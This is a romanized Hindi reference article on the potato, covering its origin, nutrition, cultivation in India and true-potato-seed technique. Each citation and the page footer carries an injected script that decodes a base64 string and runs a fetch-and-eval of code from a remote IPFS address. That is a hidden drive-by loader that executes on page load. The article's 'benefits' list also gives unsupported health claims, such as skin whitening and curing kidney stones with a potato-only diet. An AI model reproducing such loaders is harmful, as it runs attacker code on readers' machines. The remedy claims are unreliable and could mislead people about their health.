आलू
thumb|200px|aloo
Potato
aloo bharat ki sabziyoan ki ek mahathvapoorn fasal hai. aloo ka vanaspatik nam solenam tayoobarosam hai aur aangrezi bhasha mean poteto kaha jata hai. adhik upaj dene vali kismean ki samay se buaee, santulit matra mean urvarakoan ka prayog, samuchit rog evan kit niyantran, uchit jal prabandh dvara isaki upaj badhaee ja sakati hai.[1] bharat mean aloo ki fasal vibhinn jalavayu kshetroan mean lagaee jati hai, jisase varsh bhar aloo prachur matra mean upalabdh rahata hai aloo ki fasal ki vibhinn avasthaoan mean 80 se adhik prakar ke kit pratyaksh ya apratyaksh roop se ju de hai, lekin fasal ko arthik roop se hani pahuanchane vale kitoan ki sankhya 10 se 12 hai.[2] aloo ko kheti thande mausam mean jahaan pale ka prabhav nahian hota hai, saphalatapoorvak ki ja sakati hai aloo ke kandoan ka nirman 20 digri selsiyas tapakram par sabase adhik hota hai.[3]
rang
aloo ka rang oopar se bhoora v kalapan liye aur yah andar se safed hota hai.
utpatti
aloo ka utpatti sthal dakshini amerika hai, jahaan se yah yoorop tatha any deshoan mean phaila.[4] aloo ke utpadan mean chin aur roos ke bad bharat tisare sthan par hai.
aloo ke poshak tatv
aloo mean kailshiyam, loha, vitamin bi tatha ph aausphoras bahutayat mean hota hai. aloo mean poteshiyam salt hota hai jo alpapitt ko rokata hai.
aloo ka vikas
bharat mean aloo vishesh roop se uttar pradesh mean ugaya jata hai. tamilanadu evan keral ko chhodakar aloo sare desh mean ugaya jata hai. bharat mean aloo ki ausat upaj 152 kviantal prati haikhteyar hai jo vishhv ausat se kafi kam hai. anhy fasaloan ki tarah aloo ki achhchhi paidavar ke lie unhnat kishmoan ke rog rahit bijo ki upalabhdhata bahut avashhyak hai. isake alava urvarakoan ka upayog, sianchaee ki vhyavashtha, tatha rog niyantran ke lie dava ke prayog ka bhi upaj par gahara prabhav padata hai.[5]
aloo ke fayade
- aloo ke chhilake zyadatar pheank die jate haian, jabaki chhilake sahit aloo khane se zyada shakti milati hai.[6]
- aloo ko pis kar tvacha par male. rang gora ho jaega.
- sardi mean thandi havaoan se hathoan ki tvacha par jhurriyaan p dane par kachche aloo ko pis kar hathoan par malean.[7]
- aloo khate rahane se raktavahiniyaanb di ayu tak lachakadar bani rahati haian tatha kathor nahian hone pati.
- kabhi-kabhi chot lagane par nil p d jati hai. nil p di jagah par kachcha aloo pisakar lagayaian.
- pathari ke rogi ko keval aloo khilakar aur bar-bar adhik pani pilate rahane se gurde ki pathariyaan asani se nikal jati hai.
tipies takanik
aloo ek uchch lagat vali phasal hai. paranparik roop se isaki kheti bij kandoan ke madhyam se ki jati hai. utpadan ki kul lagat ka lagabhag 40-50% bij kand kharidane ke lie avashyak hai. tipies (troo potaito sid) takanik aloo utpadan ki ek vaikalpik vidhi ke roop mean sanbhavit hai jo vaijnanik roop se sudridh, takaniki roop se vyavahary, arthik roop se vyavahary hai aur aloo ki kheti ki utpadakata, utpadan aur lagat ko kam karane ke lie kam lagat aur uchch gunavatta vali ropan samagri utpann karane ke lie paryavaran ke anukool hai. tipies lagabhag rogamukt aloo ki phasal dene ke alava lagat prabhavi bhi hai. akar mean bahut chhota hone ke karan, tipies ko bina kisi lagat ke asani se sangrahit aur parivahan kiya ja sakata hai. isake alava, lagabhag 350-375 varg mitar mean buaee ke lie keval 50 gram tipies ki avashyakata hoti hai. aankur kandoan ke utpadan ke lie kshetr agale varsh ek hekteyar ropan ke lie paryapt hai, jabaki bij kandoan ke madhyam se aloo utpadan ke mamale mean 2-2.5 tan/hekteyar ki avashyakata hogi. isalie, yah kheti ki kul lagat ko kaphi kam kar deta hai.
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tika tippani aur sandarbh
- ↑ aloo (hindi) gramin soochana evanm jnan kendr. abhigaman tithi: 26 agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ aloo ki fasal mean kit prabandh (hindi) nee dishaean. abhigaman tithi: 26 agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ aloo (hindi) dil. abhigaman tithi: 26 agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ aloo (hindi) uttara krishi prabha. abhigaman tithi: 26 agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ aloo ki kheti ki unhnat vidhi (hindi) (ech.ti.em.el) krishiseva. abhigaman tithi: 26 agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ aloo ke ghareloo upachar (hindi) (ech.ti.em.el) bichchhu d aaut k aaum. abhigaman tithi: 26 agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ aloo ke asarakari nuskhe (hindi) vebaduniya. abhigaman tithi: 26 agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>